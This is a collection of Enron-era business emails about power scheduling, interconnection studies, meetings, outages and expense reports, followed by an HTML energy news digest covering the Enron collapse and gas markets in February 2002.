EPE length is in Enpower, deal# 577883, this will be out in RT Position 
Manager.  56mws for the day.
The schedule is as follows:

HE 1 8 mws
HE2 8 mws
HE3 8 mws
HE4 8mws
HE5 8mws
HE6 10mws
HE24 6mws

TOTAL  = 56mws

Please sell this power real time.
Check with the dispatchers EARLY, Lisa Gang's sheet shows everything you need.

Call Holdenn or myself with any questions.
Thanks,
Bill

Here's the final, hopefully, addendum to the Interconnect Study from Nevada 
Power. I haven't read it thoroughly, but it appears there are no surprises.
---------------------- Forwarded by Don Hammond/PDX/ECT on 03/08/2001 05:10 
   
	From:  "Fisher, Marty" <MFisher@nevp.com>                           
03/08/2001 05:11 PM
	
To: "'Don.Hammond@enron.com'" <Don.Hammond@enron.com>
cc: "Luna, Larry" <LLuna@nevp.com>, "Whalen, Brian" <BWhalen@SPPC.com>, 
"Goyette, Robert" <RGoyette@nevp.com>, "'Stan.Gray@enron.com'"  
<Stan.Gray@enron.com>, "Torrey, Sheryl" <storrey@nevp.com> 
Subject: LVCOGEN 230MW (six unit) Addition Interconnection Study-Addendum  #2

Don
The attached document (ENRON230MWFinal-CaseJ.doc) contains the recommended
interconnection study requirements/costs for the six new LVCOGEN units.  Let
me know if you have any questions concerning this report addendum.  Thanks.
Marty Fisher
Nevada Power Company
702-367-5477

 <<ENRON230MWFinal-CaseJ.doc>>

 - ENRON230MWFinal-CaseJ.doc

please calendar.  thanks.  mhc

From: 	Connie.Brown@nepco.com@ENRON  
Sent:	Tuesday, November 13, 2001 3:27 PM
To:	Indivero, Michael; Ranz, Michael; Lund, David; mills.ariail@odnss.com; mark.stubley@odnss.com; Cash, Michelle
Subject:	Second Gate Issue

When: Friday, November 16, 2001 10:00 AM-11:00 AM (GMT-08:00) Pacific Time
(US & Canada); Tijuana.
Where: 800-711-8000 (4153099 passcode)

I have tried to approve this a few times, but it does not appear to work.  
What is the process to approve this in the system?

Daren

Notice No: 01-80

COMMODITY EXCHANGE, INC. (=01&COMEX=018)
CANDIDATES=01, FORUM & EQUITY OWNERS ADVISORY MEETING

Please be advised that the Commodity Exchange, Inc. (=01&COMEX=018) candida=
tes=01,=20
member forum originally scheduled to be held today, March 5, 2001, has been=
=20
RESCHEDULED to be held on WEDNESDAY, MARCH 7, 2001 at 2:45 p.m. in the=20
Seminar Room of the Exchange, One North End Avenue, New York City.

At that time, each candidate will be given the opportunity to address the=
=20
membership regarding the 2001 Annual Elections scheduled to be held on=20
Tuesday, March 13, 2001.

The equity owners advisory committee meeting originally scheduled for this=
=20
afternoon will also be postponed for a future date.

Inquiries regarding the aforementioned may be directed to Donna Talamo at=
=20
(212) 299-2372.

email.

.com&
refdoc=3D(01-80)"

> Cal-ISO RMR Stakeholders and Market Participants:
> 
> The initial 2003 Power Flow Base case representing summer 1-in-5 year load
> conditions has been posted to the ISO Web Site at
> http://www.caiso.com/docs/2001/05/10/2001051009374418560.html and titled
> as "Initial base case for the 2003 RMR studies (.epc and .sav)". 
> 
> 
> Please review the base case and send your comments to me at
> LTobias@caiso.com or (916) 608-5763 by Friday August 3, 2001.
> 
> Thanks.
> 
> Larry Tobias
> California ISO Grid Planning
> Email LTobias@caiso.com
> Phone (916) 608-5763
> FAX (916) 351-2272
> 
> **************************************************************************
> ***************************
> 

Eric - I think the release looks fine.

Shelley -- I take it there are no affiliate issues here (or they have been 
fully vetted)?
---------------------- Forwarded by Steven J Kean/NA/Enron on 08/22/2000 
04:49 PM ---------------------------

Eric Thode
08/22/2000 11:34 AM
To: Mark Frevert/NA/Enron@Enron, David W Delainey/HOU/ECT@ECT, John J 
Lavorato/Corp/Enron@Enron, Brian Redmond/HOU/ECT@ECT, Shonnie 
Daniel/HOU/ECT@ECT, Mark Whitt/DEN/ECT@Enron, Brian Bierbach/DEN/ECT@Enron, 
Jean Mrha/NA/Enron@Enron, Mark E Haedicke/HOU/ECT@ECT, Kenneth 
Lay/Corp/Enron@ENRON, Jeff Skilling/Corp/Enron@ENRON, Mark 
Koenig/Corp/Enron@ENRON, Paula Rieker/Corp/Enron@ENRON, Kathryn 
Corbally/Corp/Enron@ENRON, Scott Vonderheide/Corp/Enron@ENRON, Steven J 
Kean/NA/Enron@Enron, Mark Palmer/Corp/Enron@ENRON, Karen 
Denne/Corp/Enron@ENRON, Andrew S Fastow/HOU/ECT@ECT, Rex 
Rogers/Corp/Enron@Enron
cc:  

Subject: DRAFT PRESS RELEASE: NBP Announces Intent to Purchase ENA Assets in 
Powder River and Wind River Basins

Attached is a draft press release regarding NBP's intent to purchase ENA's 
assets in the Powder River and Wind River Basins.  Please return all comments 
to me via e-mail by 5:00 pm on Tuesday, August 22.  If you have any 
questions, please call me at ext. 3-9053.

Thanks.

Eric

Here's the electronic-version of the analysis performed by MRW. 
---------------------- Forwarded by Mona L Petrochko/SFO/EES on 05/16/2000 

"Michele S. Kito" <msk@mrwassoc.com> on 04/27/2000 11:06:27 AM
To: Mona.L.Petrochko@enron.com
cc: rbw@mailman.enron.com 
Subject: Revised Memo

Mona,

Attached is a revised version of the memo regarding potential PG&E hydro
valuations, incorporating sensitivities for the discount rate and power
prices (e.g., HESI forecast) and incorporating some changes based upon our
review of SCE's hydro valuation workpapers (e.g., 20-year, rather than
40-year depreciation).  In addition, the attached excel spreadsheet
contains tables showing the annual cash flow for the various cash flow
analyses.  Feel free to call if you have any questions or comments.

Thanks,
Suzie
 - Hydro Valuation v.8.doc
 - Appendices.xls

Shari, Can you take a look at this revised market description and let me know 
if its ok.  Thanks.
---------------------- Forwarded by Tana Jones/HOU/ECT on 09/07/99 11:20 AM 

Awais Omar
09/07/99 11:18 AM
cc:  
Subject: Weather description

Tana,  the one I am talking about is the one in the attached mail from Steven 
Vu.  This was sent this morning.  Shari sent his on Friday and it is differen 
tot his one.

Awais

---------------------- Forwarded by Awais Omar/LON/ECT on 07/09/99 17:18 
   
	From:  Steven Vu                           07/09/99 13:51
	
To: Awais Omar/LON/ECT@ECT
cc: Shari Stack/HOU/ECT@ECT 
Subject: 

Awais:

You should have received our market description from Shari this morning.  
Lynda asked me on Friday to add some more to the content, and the attached 
file has these changes.  If it is not too late, please use the attached file 
as our market descriptor.

	From:  Tana Jones                           07/09/99 17:13
	
cc:  
Subject: Re: Online Trading  

Awais,

I think the weather description you are referring to was sent by an attorney 
in our group, Shari Stack.  If that is the one you are talking about, it 
should be okay.   I don't know the regulatory guys, but I'll try calling 
Steve Kean and see if I get a response.

Attached are some articles concerning further development and elaboration on 
the California power crisis and testimony to the Senate Energy, Utilities and 
Communications Committee by the CEO of CAL-ISO concerning the power 
issues/problems.

Testimony before Senate Energy, Utilities & Communications Committee And the 
Assembly Utilities & Commerce Committee
By Terry M. Winter, President and CEO
California Independent System Operator
August 10, 2000

An August 10th article from Natural Gas Intelligence that talks of the 
defensive posture the California Independent System Operator (Cal-ISO) has 
taken concerning the accusations that Governor Davis' emergency electricity 
report had made about the new deregulated market. 

An article from Natural Gas Intelligence talks about the vote, on July 31st,  
by the California Independent System Operator (Cal-ISO) Board to move the 
price cap to $250. The pros and cons of the price cap are mentioned, as well 
as other remedies for the power situation. Also, there are several comments 
in the article from California Senator Steve Peace on how "dysfunctional" the 
market is and why it should be restructured. 

From: <a.d.harvey@att.net>
To: <msteffes@mindspring.com>
Sent: Tuesday, December 18, 2001 8:45 PM
Subject: Bschool Recommendation forms

> Jim,
>
> (Not sure if my first message made it through this is a
> follow up. If you received the 1st then please
> disregard)
>
> Hope all is well. Me I'm fine, just following up on a
> few employment opportunities but grad-school is still
> my number one priority. I appreciate your help in this
> process.
>
> Attached you will find a sample recommendation form.
> Please feel free to modify as you see fit. When you are
> finished, please include along with school forms I
> previously sent to you and send back to me using the
> Fed-Ex information (Account# 2633-6437-6). If you have
> any questions or comments please contact me at 713-842-
> 7383.
>
> Thanks again for all of the help.
>
> Yours,
>
> Damon Harvey
>

 - Sample recommendation1.doc 

These were sent at 4:00 PM on Thursday.

From: Shawn Ridge [mailto:shawn@apbenergy.com]
Sent: Thursday, January 10, 2002 3:59 PM
To: Rabon, Chance; Mckay, Jonathan
Subject: enequotes.xls for 01/10

The outage will continue through the weekend for the 17.91 MW on the steam turbine.  I filed an outage report with the ISO for this period although the ISO has not returned it.

C
From: 	Porter, David V.  
Sent:	Tuesday, July 03, 2001 4:46 PM
Subject:	FW: Revised Harbor Strategy 7/4-7/5

From: 	Cocke Jr., Stanley  
Sent:	Tuesday, July 03, 2001 3:39 PM
To:	Portland Shift
Subject:	Revised Harbor Strategy 7/4-7/5

Group,

Per my earlier email, there has been one change.  Harbor's second unit (HRBGN_7_PL2X3), 17mw, will be down for maintenance on July 4th.  I have submitted an outage report to the ISO.

So, no action is required for this unit on 7/4.  The gas turbine, HRBGN_7_UNITS, 80mw, is still available.

Thanks,
Stan

Employee Name: Monika Causholli
Report Name:   Monika Causholli
Report Date:   10/25/01
Report ID:     1CD662BAC8BB11D5B373
Submitted On:  10/25/01

Receipts for this expense report have not yet been received. If receipts have been mailed, please disregard this message.

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Save $100 now on "Load Management 2001 - Balancing Customers,

Regulators and Energy Demand" by The C Three Group. The report

reveals how programs are in a state of flux with some vendors

struggling as utilities face great ambiguity. It includes candid and

sometimes hard-hitting commentary on the design details of 18 leading

utility programs as well as 23 vendor profiles. The report analyzes

major issues, trends and technology developments. Gain insights and

competitive intelligence in this essential report. Complete table of

contents and profile samples are available at 

<a href="http://www.energycentral.com/global/go_gas.cfm?aid=402&id=http://www.energycentral.com/links/show_mi.cfm?id=100837">http://www.energycentral.com/links/show_mi.cfm?id=100837</a> 

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<font face="arial,helvetica,sans-serif" size="-1"><b>Michigan State Senate Votes to Ban New Drilling under Great Lakes</b></font></a><br>

<font size="-1"><i>Feb 13, 2002 - Canadian Press</i>

The Michigan state Senate voted Wednesday to ban new drilling for oil and natural gas from the shoreline of the Great Lakes. 

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<font face="arial,helvetica,sans-serif" size="-1"><b>Ottawa To Discuss Opening Coast To Oil Drilling</b></font></a><br>

<font size="-1"><i>Feb 13, 2002 - E&E Publishing</i>

Ottawa regulators said this month they are prepared to consider a proposal to remove the long-standing moratorium on offshore oil and gas drilling in British Columbia if Canadian Premier Gordon Campbell makes the request. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2726622"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Putin, Ukrainian official meet amid debate over alternative gas pipeline to Europe</b></font></a><br>

<font size="-1"><i>Feb 13, 2002 - Associated Press</i>

Russian President Vladimir Putin met Wednesday with Ukraine's presidential chief of staff in the Kremlin amid heated debate over a proposed pipeline to transport Russian natural gas to Europe that conspicuously bypasses Ukraine. 

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<b>Press Release</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2726613"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Excelergy and Algorithmics Combine to Deliver Advanced Trading and Risk Management System to Energy Industry</b></font></a><br>

<font size="-1"><i>TORONTO, Ontario and LEXINGTON, Massachusetts (February 13, 2002)</i> 

Excelergy Corporation, the world's leading provider of high performance software products in the global energy and utility industry, and Algorithmics Incorporated, a leader in enterprise risk management with more than 120 global clients in 26 countries, today announced a strategic alliance that will deliver the industry's most advanced energy trading and risk management system to energy traders and generators. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2726615"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>SOLARC NAMES DALE ST. DENIS AS VICE PRESIDENT OF PRODUCT MARKETING</b></font></a><br>

<font size="-1"><i>TULSA, Okla. (February 11, 2002)</i> 

SolArc, Inc., a leading provider of enterprise trade management solutions for global commodity businesses, announced today that Dale St. Denis joined the company as vice president of product marketing. 

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<a name="section57">

<b>Enron Debacle</b>

</font>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724267"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Enron Executives Will No Longer Handle Company's Retirement Plans</b></font></a><br>

<font size="-1"><i>By Dale Lezon, Houston Chronicle, Feb. 13</i> 

Control of Enron's retirement plans will be taken from company executives and given to an independent fiduciary appointed by the Labor Department under an agreement reached Tuesday. 

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<font face="arial,helvetica,sans-serif" size="-1"><b>Enron Executives Profited by Unloading Stocks as Units Failed</b></font></a><br>

<font size="-1"><i>By Gregg Fields, The Miami Herald, Feb. 12</i> 

Some of Enron's top executives made millions of dollars selling the company's stock, even as the company divisions they headed posted massive losses. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724574"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Documents Show Enron Executives Repeatedly Briefed Board on Activities</b></font></a><br>

<font size="-1"><i>Chicago Tribune, Feb. 13</i> 

Enron Corp. executives repeatedly briefed the company's board of directors about the suspect partnerships and murky accounting that later brought down the energy giant, internal Enron documents show. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724654"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Former Enron Chairman Takes Beating from Senators but Pleads Fifth at Hearing</b></font></a><br>

<font size="-1"><i>By Patrice Hill, The Washington Times, Feb. 13</i> 

Former Enron Corp. Chairman and CEO Kenneth L. Lay, one of Congress' most generous benefactors over the years, looked like a wayward child being forced to endure the scolding of a dozen schoolteachers. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724150"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Six Directors to Resign from Enron's Board</b></font></a><br>

<font size="-1"><i>By Katie Fairbank, The Dallas Morning News, Feb. 13</i> 

Six directors of Enron Corp. will resign from the bankrupt company's board within 30 days, following in the footsteps of former chairman and chief executive Kenneth Lay. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724268"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Creditors of Enron Subsidiary Want Changes in Cash-Management System</b></font></a><br>

<font size="-1"><i>By Eric Berger, Houston Chronicle, Feb. 13</i> 

A U.S. bankruptcy judge is expected to rule today on whether Enron can continue its practice of collecting money from its subsidiaries and distributing it as needed. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724271"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Enron Executive to Discuss Now-Famous Warning Memo before Congress</b></font></a><br>

<font size="-1"><i>By Patty Reinert, Houston Chronicle, Feb. 13</i> 

Sherron Watkins, the Enron vice president who in August told Chairman Ken Lay she feared their company might "implode in a wave of accounting scandals," will testify on Capitol Hill Thursday, her lawyer said. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724584"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Former SEC Chairmen Warn Congress about Depth of Enron-Type Problems</b></font></a><br>

<font size="-1"><i>By Frank James, Chicago Tribune, Feb. 13</i> 

Five former chairmen of the Securities and Exchange Commission warned Congress Tuesday that some of the problems revealed by Enron Corp.'s collapse are pervasive in corporate America, requiring new legislation, tougher government and private-sector oversight, and greater integrity in the accounting profession. 

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<font face="arial,helvetica,sans-serif" size="-1"><b>Enron Put Markets At Risk, American Stock Exchange Chief Says</b></font></a><br>

The chairman of the American Stock Exchange said yesterday the Enron scandal was undermining confidence on Wall Street and called for swift action to punish wrongdoers and adopt legislation and regulations to prevent future abuses. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724734"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Volcker sought Enron funds for accounting board-memo</b></font></a><br>

<font size="-1"><i>By Susan Cornwell, WASHINGTON, Feb 13 (Reuters)</i> 

Former Fed Chairman Paul Volcker called the chairman of Enron Corp. last year to solicit a $500,000 contribution for the foundation of the International Accounting Standards Board, according to a memo released by a senior Democratic senator on Wednesday. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724666"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>FACTBOX-Congress hearings schedule on Enron/Andersen</b></font></a><br>

<font size="-1"><i>WASHINGTON, Feb 12 (Reuters)</i> 

The following are the hearings that the U.S. Congress has scheduled on the collapse of Enron Corp., the role of its auditor Andersen and related regulatory issues over the coming weeks. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724720"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Stricter rules for Enron-type deals proposed</b></font></a><br>

<font size="-1"><i>NEW YORK, Feb 13 (Reuters) -</i> 

U.S. accounting rulemakers on Wednesday proposed stricter rules on how companies can keep complex financing arrangements off their books as the accounting industry seeks to prevent future Enron-like debacles. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724747"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>NYSE forms committee to evaluate listing standards</b></font></a><br>

<font size="-1"><i>NEW YORK, Feb 13 (Reuters)</i> 

The New York Stock Exchange on Wednesday said it set up a committee to review its listing requirements and corporate governance issues for Big Board companies. 

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Online marketplaces are driving an ongoing restructuring of Europe's

energy industry, by making energy trading simpler and cheaper. A new

report from Datamonitor, Online Energy Trading in Europe, explores

the growing volume of trading operations in a liberalized market.

<a href="http://www.energycentral.com/global/go_gas.cfm?aid=399&id=http://www.energycentral.com/links/show_mi.cfm?id=100584">http://www.energycentral.com/links/show_mi.cfm?id=100584</a> 

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<b>National Energy Policy</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724684"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>US judge orders White House to keep energy records</b></font></a><br>

<font size="-1"><i>By Peter Kaplan, WASHINGTON, Feb 12 (Reuters)</i> 

A U.S. federal judge on Tuesday directed the White House to preserve records from meetings of its energy task force, which critics suspect was heavily influenced by Enron Corp. and other major energy companies. 

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<b>Competition & Deregulation</b>

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<font face="arial,helvetica,sans-serif" size="-1"><b>PTT to set up 3 new subsidiaries ahead of natural gas liberalization </b></font></a><br>

<font size="-1"><i>BANGKOK, Feb 12, 2002 (AFX-Asia via COMTEX) -- </i> 

The Petroleum Authority of Thailand (PTT) plans to set up three new subsidiaries by the beginning of 2003 ahead of plans to liberalize the natural gas business industry, Business Day reported, citing Prasert Bunsumpun, PTT senior executive vice-president. 

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<b>Mergers, Acquisitions & Divestitures</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724210"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Embattled Dallas-Area Electric Co-Op to Sell Gas Subsidiary</b></font></a><br>

<font size="-1"><i>By Dan Piller, Fort Worth Star-Telegram, Texas, Feb. 12</i> 

CoServ, the bankrupt electric cooperative that serves Denton County, put its gas subsidiary on the market Monday on what it said would be an "expedited basis." 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724706"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>FERC OKs Enron's $1.8 billion sale of Oregon utility</b></font></a><br>

<font size="-1"><i>WASHINGTON, Feb 13 (Reuters)</i> 

The Federal Energy Regulatory Commission on Wednesday approved Northwest Natural Gas Co.'s $1.8 billion acquisition of Portland General Electric Co., the Oregon utility owned by bankrupt Enron Corp. 

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<font face="arial,helvetica,sans-serif" size="-1"><b>Top Russian Executive Predicts More Mergers in Oil Industry</b></font></a><br>

<font size="-1"><i>By Michael Davis, Houston Chronicle, Feb. 13</i> 

The major Russian oil companies will continue to combine over the next few years until only one or two world-scale companies remain, a top Russian oil executive predicted Tuesday. 

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<b>Gas Pricing/Hubs</b>

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<font face="arial,helvetica,sans-serif" size="-1"><b>Canadian natgas prices ease with weaker U.S. cash</b></font></a><br>

Canadian spot natural gas prices weakened on Wednesday, taking cues from lower U.S. cash in forecasts for warmer weather, industry sources said. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724741"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>NYMEX gas ends mixed after late selloff despite AGAs</b></font></a><br>

NYMEX Hub gas, lifted early by some short covering ahead of a weekly storage report, ended lower on Wednesday, hit by a late wave of technical selling despite slightly supportive inventory data, sources said. 

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<font face="arial,helvetica,sans-serif" size="-1"><b>Most U.S. day-ahead natural gas prices slip</b></font></a><br>

<font size="-1"><i>SAN FRANCISCO, Feb 13 (Reuters)</i> 

Most U.S. spot natural gas prices fell slightly on Wednesday amid forecasts calling for rising temperatures later in the week in the Northeast and Midwest, industry sources said. 

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<b>Drilling/Exploration</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724600"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Criticism of Thai Energy-Contract Extension Upsets Prime Minister</b></font></a><br>

<font size="-1"><i>Bangkok Post, Thailand, Feb. 13</i> 

Criticism of the government's decision to give Harrods Energy Thailand Co another year before it must start drilling in its offshore concession in the Gulf Of Thailand has upset Prime Minister Thaksin Shinawatra. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2726124"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Enap drills gas exploration well </b></font></a><br>

<font size="-1"><i>Chile, Feb 13, 2002 (BNamericas.com via COMTEX) -- </i> 

Chile's state oil company Enap has begun drilling an exploratory gas well at Brazo Norte in San Gregorio in the XII Region, the company's second well in an exploration agreement with power generator AES Gener, La Prensa Austral reported. 

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<b>Futures</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2726610"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Late Sell-off Sinks March Gas Futures after Initial AGA Spike</b></font></a><br>

<font size="-1"><i>Feb. 13 (Btu's Daily Gas Wire)</i> 

After a late bout of volatility following the release of the American Gas Association storage report, March natural gas futures settled 6 cents lower at $2.245. 

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<b>Gas Reserves</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724680"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Pengrowth cuts Sable gas reserves estimate</b></font></a><br>

<font size="-1"><i>CALGARY, Alberta, Feb 12 (Reuters)</i> 

Pengrowth Corp., which manages the Pengrowth Energy income trust, said on Tuesday it cut its estimate of gas reserves at the Sable Offshore Energy Project by 14 percent, two weeks after partner Shell Canada Ltd. clawed back its own numbers. 

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<b>Pipelines</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724704"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>FERC OKs Williams natgas pipeline expansion</b></font></a><br>

Williams Cos. unit Transco won approval on Wednesday from the Federal Energy Regulatory Commission for its Momentum expansion project to increase the capacity a pipeline from Louisiana to Virginia. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2725761"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Russian Oil Company To Supply Gas To Venezuela </b></font></a><br>

<font size="-1"><i>Moscow, Russia, Feb 13, 2002 (RosBusinessConsulting via COMTEX) -- </i> 

The Zarubezhneftegaz oil and gas company is planning to participate in the construction of a Venezuela-Columbia gas pipeline, a source in the press service of the company reported to RosBusinessConsulting today. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2726549"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Cyprus aims to close deal on natural gas pipeline by September</b></font></a><br>

<font size="-1"><i>Feb 12 - BBC Monitoring European</i> 

Cyprus' Commerce, Industry and Tourism Minister Nikos Rolandis said today that by September the government will have to close a deal on natural gas, to be used in 2006 when a fourth unit is set up by the Cyprus Electricity Authority, adding that due to the delay in constructing a pipeline from Egypt to Syria, Cyprus is also investigating alternative solutions for providing liquefied natural gas. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2726627"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Alaskan Governor's Pipeline Dream Of $17B in Bonds Goes to Legislature</b></font></a><br>

<font size="-1"><i>Feb 13, 2002 - Bond Buyer</i> 

Alaska Gov. Tony Knowles officially introduced state legislation yesterday to allow the Alaska Railroad Corp. to issue up to $17 billion in tax-exempt bonds to finance a natural gas pipeline built to serve the nation. 

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<b>Storage</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724710"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>FERC OKs Energy East natgas storage in New York</b></font></a><br>

The Federal Energy Regulatory Commission approved on Wednesday a plan by Energy East Corp. unit Seneca Lake Storage Inc. to build a natural gas storage facility in Reading, N.Y. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724729"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>AGA says U.S. weekly natgas stocks fell 156 bcf</b></font></a><br>

The American Gas Association issued the following weekly estimates of U.S. working gas in storage (in bcf): 

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<b>General</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724403"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Gas Co. Offers Help to Jobless Customers in Orange County, Calif., Area</b></font></a><br>

<font size="-1"><i>By Mary Ann Milbourn, The Orange County Register, Calif., Feb. 13</i> 

Help is on the way for laid-off workers and low-income households having difficulty paying their gas bills. 

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<b>Trading/Marketing</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724723"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>New post-Enron trading regulations not needed-CFTC</b></font></a><br>

Enron Corp.'s swift collapse into bankruptcy had little impact on U.S. energy futures markets and Congress should not rush to impose new trading regulations, the head of the Commodity Futures Trading Commission said on Wednesday. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724703"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>ADVISORY-NY commodities and energy holiday hours</b></font></a><br>

In observance of the U.S. Presidents Day holiday, New York commodities and energy markets will be closed on Monday, Feb 18. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2726612"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>EnronOnline Re-emerges into Commodity Trading, But Leading Position Has Been Claimed by Others</b></font></a><br>

<font size="-1"><i>By Will McNamara, IssueAlert, Feb. 13 (Scientech)</i> 

EnronOnline, the collapsed energy giant's Internet trading platform, on Feb. 11 tiptoed back into the energy trading market it once dominated. 

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<b>Conference Announcements</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724148"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Energy Executives Consider Changes in Industry at Houston Conference</b></font></a><br>

<font size="-1"><i>By Charlene Oldham, The Dallas Morning News, Feb. 13</i> 

Executives are contemplating the new face of risk at a global energy conference in the city where Enron Corp. rose and crashed -- but relegating the corporate titan's collapse to the background. 

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<b>Financial</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724686"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>BHP approves Mad Dog oil field spend</b></font></a><br>

<font size="-1"><i>MELBOURNE, Feb 13 (Reuters)</i> 

BHP Billiton Ltd/plc, the world's largest diversified miner, said on Wednesday its board had approved spending of up to US$335 million to develop the Mad Dog oil and gas find in the Gulf of Mexico. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724725"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>FEATURE-Accounting Sherlocks bask as scandals rocket</b></font></a><br>

<font size="-1"><i>By Deepa Babington, NEW YORK, Feb 13 (Reuters)</i> 

An audit gone awry? Hidden debt lurking in your company's books? Time to call your friendly accounting version of Sherlock Holmes. 

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<b>Financial - Results</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724086"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Berry Petroleum Co. Announces Drop in 2001 Net Income</b></font></a><br>

<font size="-1"><i>By Erin Waldner, The Bakersfield Californian, Feb. 13</i> 

Taft's Berry Petroleum Co. announced Tuesday that its net income for 2001 was $21.9 million -- compared with $37.2 million the previous year. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2724733"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Westcoast profit up in last quarter before takeover</b></font></a><br>

<font size="-1"><i>VANCOUVER, British Columbia, Feb 13 (Reuters)</i> 

Canadian pipeline operator Westcoast Energy Inc, which is set to be absorbed by Duke Energy Corp., said on Wednesday profits jumped in the fourth quarter on sale of its Union Energy and Westcoast Capital units. 

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<b>International</b>

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2725154"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Fortum sells 35 pct stake in Oman Suneinah concession to Mitsui, associate </b></font></a><br>

<font size="-1"><i>HELSINKI, Feb 13, 2002 (AFX-Asia via COMTEX) -- </i> 

Fortum Corp said it signed an agreement to sell its 35 pct interest in the Suneinah concession, Block 9, and associated gas exploration and production rights in Oman to Mitsui & Co Ltd and its associated company Mitsui Oil Exploration Co Ltd. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2725197"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>PNOC unit says oil firms can retake 10 pct of Victoria project 'at a premium' </b></font></a><br>

<font size="-1"><i>MANILA, Feb 13, 2002 (AFX-Asia via COMTEX) -- </i> 

A group of private oil exploration companies can repurchase up to 10 pct of the Victoria natural gas project but at a premium, Philippine National Oil Co-Energy Development Corp spokeswoman Debbie Diokno said. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2725629"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>Petrobras reduces participation in thermal power plants </b></font></a><br>

<font size="-1"><i>Brazil, Feb 13, 2002 (Jornal do Brasil/SABI via COMTEX) -- </i> 

The Brazilian state owned oil and gas company Petrobras is reducing its participation in the construction of thermal electric power plants in the country. 

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<a href="http://www.energycentral.com/sections/gasnews/gn_article.cfm?id=2725780"> 

<font face="arial,helvetica,sans-serif" size="-1"><b>State, Shell Team Up in Gas Project </b></font></a><br>

<font size="-1"><i>By John Fraser, Feb 13, 2002 (Business Day/All Africa Global Media via COMTEX) -- </i> 

